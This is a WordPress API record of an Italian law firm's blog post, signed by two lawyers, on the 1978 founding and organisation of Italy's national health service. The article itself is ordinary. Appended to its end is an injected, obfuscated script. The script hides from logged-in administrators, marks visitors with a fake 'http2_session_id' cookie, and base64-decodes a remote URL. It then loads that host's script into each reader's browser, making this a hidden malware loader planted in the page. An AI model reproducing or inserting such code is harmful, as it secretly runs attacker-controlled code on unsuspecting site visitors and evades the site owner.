{"id":26800,"date":"2020-04-16T12:25:34","date_gmt":"2020-04-16T12:25:34","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=26800"},"modified":"2026-04-15T05:41:38","modified_gmt":"2026-04-15T05:41:38","slug":"la-nascita-del-nostro-sistema-sanitario-nazionale","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=26800","title":{"rendered":"La nascita del nostro sistema sanitario nazionale"},"content":{"rendered":"<p>In questi giorni di emergenza, \u00e8 forse il caso di spendere qualche parola sul nostro<strong> sistema sanitario nazionale<\/strong>. Non pretendiamo di dare risposte, vogliamo solo fornire qualche spunto di riflessione.<\/p>\n<p>Se \u00e8 vero che molto c\u2019\u00e8 da fare per riformare, rendere pi\u00f9 efficiente, moralizzare e adeguare il Servizio Sanitario Nazionale alle nuove esigenze (basti pensare alle disomogeneit\u00e0 territoriali), \u00e8 innegabile che esso rappresenti un modello ritenuto da tutti tra i pi\u00f9 avanzati.<\/p>\n<h2>La salute \u00e8 un tema centrale e non solo in questi giorni di straordinaria emergenza ed \u00e8 proprio dal buon funzionamento del sistema sanitario nazionale che dipende il benessere dei cittadini.<\/h2>\n<p>Il nostro sistema sanitario nazionale nasce ben pi\u00f9 di 40 anni fa ed esattamente il 23 dicembre del 1978 con l\u2019approvazione della legge n. 833\/78 che lo istituiva. Si metteva fine, quindi, al sistema mutualistico che aveva creato enormi disomogeneit\u00e0.<\/p>\n<p>ll fine ultimo era quello di creare un sistema efficiente e capillare in grado di garantire e distribuire servizi sanitari in modo uniforme in tutto il territorio nazionale. Si \u00e8 trattato di una rivoluzione copernicana, di uno stravolgimento dell\u2019apparato sanitario finalizzato a soddisfare le esigenze della popolazione, in modo uniforme e senza alcuna discriminazione.<\/p>\n<p>Infatti, con l\u2019istituzione del servizio sanitario nazionale, lo Stato finanzia e gestisce i servizi sanitari; il finanziamento avviene per quota capitaria pura, correlata al numero di cittadini da assistere e il Sistema Sanitario Nazionale, nell\u2019ambito delle sue competenze, persegue l\u2019obiettivo di superare gli squilibri territoriali strettamente collegati alle divergenti condizioni socio-economico del Paese.<\/p>\n<p>Grazie a questo sistema le prestazioni sanitarie sono state estese\u00a0 finalmente a tutti perch\u00e9 la salute non era pi\u00f9 considerata in relazione al singolo cittadino, bens\u00ec come risorsa della comunit\u00e0 nazionale ed in quanto tale meritevole di una garanzia universale.<\/p>\n<p>Pertanto, a tal fine, le Aziende sanitarie locali, le Aziende ospedaliere in generale e le strutture private convenzionate con il SSN si sono organizzate al fine di promuovere, mantenere e recuperare il bene salute, offrendo i loro servizi e ponendo alla base di tutto la centralit\u00e0 della persona-paziente.<\/p>\n<p>Nasce cos\u00ec anche una specie di coscienza sanitaria, intendendo cio\u00e8 una forma di educazione della collettivit\u00e0 alla salute, partendo gi\u00e0 dalla prevenzione, per poi arrivare alle cure e alla riabilitazione.<\/p>\n<p>Altra prerogativa del nostro sistema sanitario nazionale \u00e8 quella di garantire che l\u2019intera collettivit\u00e0 possa accedere alle prestazioni sanitarie e, salvo in casi di esenzione, \u00e8 sufficiente pagare il costo di un ticket il cui ammontare varia in relazione alla prestazione medesima.<\/p>\n<p>Tra i principi ispiratori del nostro sistema sanitario nazionale ricordiamo quello dell\u2019equit\u00e0, che si concretizza:<\/p>\n<ul>\n<li>con il garantire a tutti qualit\u00e0, efficienza, appropriatezza e trasparenza del servizio;<\/li>\n<li>con l\u2019obbligo da parte del personale sanitario di fornire un\u2019adeguata informazione.<\/li>\n<\/ul>\n<p>Sotto il profilo organizzativo \u00e8 sufficiente dire che lo Stato Italiano, tramite il Ministero della Salute, determina e valuta i livelli essenziali di assistenza e quindi l\u2019insieme di tutte le prestazioni, dei servizi e delle attivit\u00e0 che i cittadini hanno diritto di ottenere dal Servizio Sanitario Nazionale. Sono definiti essenziali proprio perch\u00e9 racchiudono tutte quelle prestazioni ed attivit\u00e0 cos\u00ec importanti da non poter essere negate ai cittadini. Lo Stato, inoltre, ha anche il compito di valutare i requisiti che devono avere i profili professionali degli operatori sanitari.<\/p>\n<p>Spetta, invece, alle Regioni programmare, gestire e concretamente definire i livelli essenziali nell\u2019ambito territoriale di loro spettanza.<\/p>\n<p>Infine, sono attribuite ai Comuni in via residuale, tutte le funzioni amministrative in materia di assistenza sanitaria ed ospedaliera che non siano espressamente riservate allo Stato e alle Regioni.<\/p>\n<p>Inutile dire che, ovviamente, Stato, Regioni e Comuni, ognuno secondo il proprio ambito di competenza, devono cooperare e collaborare al fine di garantire in modo uniforme livelli di prestazioni sanitarie accettabili ed appropriate per tutti.<\/p>\n<p>Avv. Franco Di Maria<\/p>\n<p>Avv. Vincenza Pin\u00f2<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\">Leggi altri articoli\u00a0<\/a><\/p>\n<p><a href=\"http:\/\/www.salute.gov.it\/\">Vai sul sito del sistema sanitario nazionale<\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In questi giorni di emergenza, \u00e8 forse il caso di spendere qualche parola sul nostro sistema sanitario nazionale. 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